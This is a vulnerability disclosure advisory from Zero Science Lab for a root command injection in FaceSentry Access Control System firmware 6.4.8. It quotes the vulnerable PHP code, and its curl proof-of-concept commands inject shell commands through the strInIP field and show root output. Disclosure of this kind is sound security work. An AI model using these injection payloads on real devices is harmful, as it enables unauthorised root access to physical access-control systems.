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FaceSentry Access Control System 6.4.8 Remote Command Injection

FaceSentry Access Control System 6.4.8 Remote Command Injection
Posted Jul 1, 2019
Authored by LiquidWorm | Site zeroscience.mk

FaceSentry Access Control System version 6.4.8 suffers from an authenticated OS command injection vulnerability using default credentials. This can be exploited to inject and execute arbitrary shell commands as the root user via the 'strInIP' and 'strInPort' parameters (POST) in pingTest and tcpPortTest PHP scripts.

tags | exploit, arbitrary, shell, root, php
SHA-256 | c1cd06426b17582915040a36f41297c181b641f416cdceedc28e43ff705b2e8b

FaceSentry Access Control System 6.4.8 Remote Command Injection

Change Mirror Download

FaceSentry Access Control System 6.4.8 Remote Command Injection


Vendor: iWT Ltd.
Product web page: http://www.iwt.com.hk
Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
Firmware 5.7.2 build 568 (Algorithm A14)
Firmware 5.7.0 build 539 (Algorithm A14)

Summary: FaceSentry 5AN is a revolutionary smart identity
management appliance that offers entry via biometric face
identification, contactless smart card, staff ID, or QR-code.
The QR-code upgrade allows you to share an eKey with guests
while you're away from your Office and monitor all activity
via the web administration tool. Powered by standard PoE
(Power over Ethernet), FaceSEntry 5AN can be installed in
minutes with only 6 screws. FaceSentry 5AN is a true enterprise
grade access control or time-and-attendance appliance.

Desc: FaceSentry suffers from an authenticated OS command
injection vulnerability using default credentials. This can
be exploited to inject and execute arbitrary shell commands
as the root user via the 'strInIP' and 'strInPort' parameters
(POST) in pingTest and tcpPortTest PHP scripts.

==============================================================
/pingTest.php:
--------------
8: if (!isAuth('TestTools','R')){
9: echo "No Permission";
10: include("footer.php");
11: exit;
12: }
13:
14: if(isset($_POST["strInIP"])){
15: $strInIP = $_POST["strInIP"];
16: }else{
17: $strInIP = "";
18: }
19:
20: $strOperationResult = "";
21: if ($strInIP != ""){
22:
23: $out = array();
24: exec("sudo ping -c 4 $strInIP",$out);
25: $result = "";
26: foreach($out as $line){
27: $result = $result.$line."<br>";
28: }

--------------------------------------------------------------
/tcpPortTest.php:
-----------------
14: if (isset($_POST["strInIP"])){
15: $strInIP = $_POST["strInIP"];
16: }else{
17: $strInIP = "";
18: }
19: if (isset($_POST["strInPort"])){
20: $strInPort = $_POST["strInPort"];
21: }else{
22: $strInPort = "";
23: }
..
..
53: $strOperationResult = "";
54: if ($strInIP != "" and $strInPort != ""){
55: $fp = fsockopen($strInIP, $strInPort, $errno, $errstr, 10);
56: system("date>>".TCP_PORT_TEST);
57: if (!$fp) {
58: $strOperationResult = getDisplay("TestTools.TCPPortTestFail")." $errstr ($errno)";
59: system("echo -e \"Unable to connect to $strInIP:$strInPort\">>".TCP_PORT_TEST);
60: } else {
61: fclose($fp);
62: $strOperationResult = getDisplay("TestTools.TCPPortTestSucces");
63: system("echo -e \"Successfully connected to $strInIP:$strInPort\">>".TCP_PORT_TEST);
64: }
65: }
==============================================================

Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
Linux 3.4.113-sun8i (armv7l)
PHP/7.0.30-0ubuntu0.16.04.1
PHP/7.0.22-0ubuntu0.16.04.1
lighttpd/1.4.35
Armbian 5.38
Sunxi Linux (sun8i generation)
Orange Pi PC +


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2019-5523
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5523.php


28.05.2019

--


$ curl -X POST 'http://192.168.11.1/tcpPortTest.php' \
--data 'strInIP=1.2.3.4`sudo id > garbage.txt`&strInPort=80' \
-H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3'

$ curl http://192.168.11.1/garbage.txt
uid=0(root) gid=0(root) groups=0(root)


--------------------------------------------------------------------------------


$ curl -X POST 'http://192.168.11.1/pingTest.php' \
--data 'strInIP=;sudo id' \
-H 'Cookie: PHPSESSID=21t4idf15fnkd61rerql9al4n3' \
|grep uid

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 7726 0 7697 100 29 10180 38 --:--:-- --:--:-- --:--:-- 10181
<font color='red'>Ping Test Fail! (;sudo id)<br>uid=0(root) gid=0(root) groups=0(root)<br></font><div id="six_tab_pages_nav" class="six_tab_pages_nav">
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